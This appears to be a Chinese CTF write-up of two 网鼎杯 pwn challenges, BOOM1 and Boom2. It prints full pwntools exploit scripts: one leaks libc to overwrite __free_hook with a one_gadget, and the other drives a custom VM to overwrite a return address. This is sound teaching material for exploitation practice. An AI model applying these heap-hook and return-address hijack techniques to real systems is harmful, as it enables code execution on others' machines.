zoukankan      html  css  js  c++  java
  • 网鼎杯

    BOOM1

    题目附件

    看了大佬博客后,这题我还是没怎么整明白。

    看到这么一串东西那这个大概是手动实现了一个简易的C语言编译器。经过多次尝试发现程序没有什么限制。所以我们直接写程序开始利用。

    #!/usr/bin/python3
    from pwn import *
    context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
    p = process('./pwn')
    
    payload = '''
    int main()
    {
        int a;
        printf("%p
    ", &a);
    }
    '''
    
    p.sendafter("living...", payload)
    
    
    
    
    p.interactive()

    这部分代码可以泄漏变量a的地址,由于a是存放在mmap分配的内存中,所以与libc基址的偏移是固定的,这样可以算出libc基址。(对于具体是那个版本的libc,采用这个方法只能逐个尝试)

    拿到libc基址后可以直接得出__free_hook地址,接着向__free_hook中写入one_gadget即可。

    #!/usr/bin/python3
    from pwn import *
    context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
    context.log_level = 'debug'
    p = process('./pwn')
    
    payload = """
    main()
    {
        int b;
        int libc_base;
        int *free_hook;
        libc_base = (int)&b - 0x51efd8;
        free_hook = libc_base + 0x3c67a8;
        *free_hook = libc_base + 0x4527a;
        free(1);
    }
    """
    
    a = [0x45226, 0x4527a, 0xf0364, 0xf1207]
    print(payload)
    gdb.attach(p)
    p.sendafter('living...
    ', payload)
    
    
    
    
    
    
    p.interactive()

    参考博客

    Boom2

    题目附件

    这是一道vm题目。程序一开始分配栈空间和代码码空间,如下:

    之后就是一些加减之类的运算,就不分析了。

    exp如下(此脚本是在ubuntu18.04上测试的):

    #!/usr/bin/python
    #-*- coding:utf-8 -*-
    from pwn import *
    context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
    p = process('./pwn')
    
    one_gadget = [0x4f365, 0x4f3c2, 0x10a45c]
    payload  = p64(1) + p64(0x2d72e) #把0x2d72e放入v38中
    payload += p64(11) #向+3处写入0x2d72e
    payload += p64(1) + p64(0xe8) #向v38中写入0xf0
    payload += p64(26) #计算出main函数$rbp+0x8的栈地址
    payload += p64(13) #向+1出写入$rbp+0x8
    payload += p64(9) #取出原return addr
    payload += p64(13) #向+0处写入return addr
    payload += p64(1) + p64(0x2d7ce) #把0x2d72e放入v38中
    payload += p64(25) #计算one_gadget
    payload += p64(11) #向$rbp+0x8处写入one_gadget
    
    payload += p64(30)
    p.sendlineafter('Input your code> ', payload)
    
    
    p.interactive()
  • 相关阅读:
    算法训练 P1103
    算法训练 表达式计算
    算法训练 表达式计算
    基础练习 时间转换
    基础练习 字符串对比
    Codeforces 527D Clique Problem
    Codeforces 527C Glass Carving
    Codeforces 527B Error Correct System
    Codeforces 527A Glass Carving
    Topcoder SRM 655 DIV1 250 CountryGroupHard
  • 原文地址:https://www.cnblogs.com/countfatcode/p/13635935.html
Copyright © 2011-2022 走看看